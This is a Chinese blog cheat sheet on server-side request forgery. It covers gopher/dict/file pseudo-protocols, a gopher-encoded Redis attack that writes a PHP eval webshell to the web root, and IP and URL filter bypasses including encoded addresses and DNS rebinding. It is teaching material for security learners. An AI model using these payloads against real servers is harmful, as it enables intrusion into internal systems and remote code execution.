首页 > 其他分享 >SSRF CheatSheet

SSRF CheatSheet

时间:2024-07-09 12:20:47浏览次数:17  
标签:127.0 SSRF 0.1 域名 CheatSheet DNS IP地址 服务器

1.SSRF 定义

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

2.漏洞原理

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

比如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器

3.漏洞影响

  1. 读取或更新内部资源,造成本地文件泄露;
  2. 将含有漏洞防主机用作代理/跳板攻击内网主机,绕过防火墙等;
  3. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
  4. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
  5. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)

4.伪协议

  • file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
  • dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
  • sftp:// SSH文件传输协议或安全文件传输协议
  • ldap:// 轻量级目录访问协议
  • tftp:// 简单文件传输协议
  • gopher:// 分布式文档传递服务,可使用gopherus生成payload

gopher伪协议研究

转换规则:

  1. 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
  2. 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  3. 将\r字符串替换成%0d%0a。
  4. 空白行替换为%0a。
  5. 问号需要转码为URL编码%3f,同理空格转换成%20。
  6. 在HTTP包的最后要加%0d%0a,代表消息结束。

发送HTTP请求:

GET /edit.php?a=Hi HTTP/1.1
Host: 127.0.0.1
Connection: close


curl gopher://127.0.0.1:80/_GET%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0a

攻击内网 Redis:

首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:

127.0.0.1:6379> flushall
Ok
127.0.0.1:6379> set 1 '<?php eval(_GET["cmd"]);?>'
OK
127.0.0.1:6379> config set dir /www/wwwroot/
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379> exit

利用这个脚本攻击自身并抓包得到数据流:

*1
$7
COMMAND
*1
flushall
*3
$3
set
$1
1
$27
<?php eval(_GET["cmd"]);?>
*4
$6
config
$3
set
$3
dir
$13
/www/wwwroot/
......

按上述转换规则转换成gopher码后,成功生成shell.php。

关于gopher协议利用的工具:

https://github.com/tarunkant/Gopherus(该工具生成 gopher 链接,用于利用 SSRF 并在各种服务器中获取 RCE)

关于gopher协议的学习:

https://blog.chaitin.cn/gopher-attack-surfaces

5.绕过方法

30X跳转

启动一个web服务,放访问这个服务时,会自动重定向到127.0.0.1

添加@绕过

提交参数要求必须以http://www.baidu.com开头,但我们访问内网文件的话,该怎么访问呢,这个时候就用到了@字符,我们构造payload如下

http://[email protected]/flag.php

特殊数字

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

句号替代.绕过

127。0。0。1 = 127.0.0.1

省略0

当过滤127.0.0.1整体时,还有一种绕过方式就是省略中间的0,这个时候也是可以访问的

127...1 = 127.0.0.1

进制转换

127.0.0.1进行转换,转换为其他进制的数从而绕过检测,进制转换结果如下

0177.0.0.1 //八进制
0x7f.0.0.1 //十六进制
2130706433 //十进制

特殊0

在windows中,0代表0.0.0.0,而在linux下,0代表127.0.0.1,如下所示

url=http://0/flag.php

利用[::]

利用[::]绕过localhost
http://[::]:80/  =  http://127.0.0.1

短地址

找一个生成短网址的网站

DNS重绑定

DNS是Domain Name Service的缩写,计算机域名服务器,在Internet上域名与IP地址之间是一一对应的,域名虽然便于人们记忆,但机器之间只能互相认识IP地址,它们之间的转换工作称为域名解析,而域名解析需要由专门的域名解析服务器来完成,这就是DNS域名服务器。

在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS 重绑定攻击。
攻击过程如下

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:

服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

对于获得的IP进行判断,发现为非黑名单IP,则通过验证

服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

标签:127.0,SSRF,0.1,域名,CheatSheet,DNS,IP地址,服务器
From: https://www.cnblogs.com/you-fish/p/18291528

相关文章

  • CTFHUB-SSRF-302跳转 Bypass
    开启题目,页面空白尝试访问127.0.0.1/flag.php页面?url=127.0.0.1/flag.php提示:不允许企业内部IP访问,使用file协议获取其源码,得到flag.php页面源码?url=file:///var/www/html/flag.php与之前一样,通过REMOTE_ADDR请求头限制本地IP请求,源码中并没有之前的hacker!BanI......
  • CTFHUB-SSRF-数字IP Bypass
    开启题目,页面空白根据提示,不能使用点分十进制,尝试将127.0.0.1转换为十六进制形式,也就是0x7f000001构造题目有所需Payload?url=0x7f000001/flag.php访问得到了flag八进制:0177.000.000.001十进制:127.0.0.1十六进制:0x7f000001进制转换网址:https://www.bchrt.com/tools......
  • CTFHUB-SSRF-URL Bypass
    开启题目给出提示,url参数的值中必须包含有http://notfound.ctfhub.com,可以采用@,也就是HTTP基本身份认证绕过HTTP基本身份认证允许Web浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。也就是:http://[email protected]形......
  • SSRF漏洞攻击与防御
    基本原理SSRF是指存在漏洞的服务器存在对外发起请求的功能,而请求源可由攻击者控制并且服务器本身没有做合法验证.SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。SSRF中的伪协议file:///从文件系统中获取文件内容,如,file......
  • ssrf结合python反序列化
    存储session对象时当然不能直接存储对象需要转换成有规律的字符串这一过程就涉及到了序列化将对象转换成字符串这一过程称之为序列化PYTHON反序列化漏洞本文中就涉及到了pickle这一序列化模块导致的反序列化漏洞在反序列化结束时会触发__reduce__魔术方法类似于php中的__......
  • ssrf+结合redis 写入crontab或者公钥(两种环境)
    REDISredis作为一种数据库其实是会真的将数据写入到内存中的我们利用ssrf请求请求redis实现服务器对自己的公钥或任务计划写入实现无密码登录或反弹bashredis监听所有地址时才能被外部访问否则只能127.0.0.1本地访问而且开启保护模式后会导致目标端口只能本地访问这......
  • 网络安全筑基篇——CSRF、SSRF
    前言本篇文章相对于来说比较水,大家看不懂的话,多去百度,去了解相关的知识大家一定要多去理解这个原理,理解的同时去打打靶场,就能很快上手啦什么是CSRF?CSRF(即跨站请求伪造)是指利用受害者尚未失效的身份认证信息、(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面......
  • [罗嗦的详解]BURP官方靶场Lab: SSRF with filter bypass via open redirection vulner
    参考视频:官方把场下的俩个视频https://youtu.be/iF1BPVTqM10抓取checkstore按钮的POST请求,请求体:stockApi=/product/stock/check?productId=3&storeId=1nextstore按钮的get请求:GET/product/nextProduct?currentProductId=3&path=/product?productId=4HTTP/2path参......
  • [HITCON 2017]SSRFme
    [HITCON2017]SSRFme打开环境就是代码审计<?phpif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$http_x_headers=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR']=$http_x_headers[......
  • SSRF 漏洞检测:防范未然的关键
    服务器端请求伪造(SSRF)是一种隐蔽且危险的安全漏洞,它允许攻击者欺骗服务器向其他服务器发送请求,从而访问或控制未经授权的系统。及时发现并修复SSRF漏洞对于保障系统安全至关重要。本文将介绍SSRF漏洞的检测方法,帮助您有效防范SSRF漏洞。SSRF漏洞的检测方法目前,检测......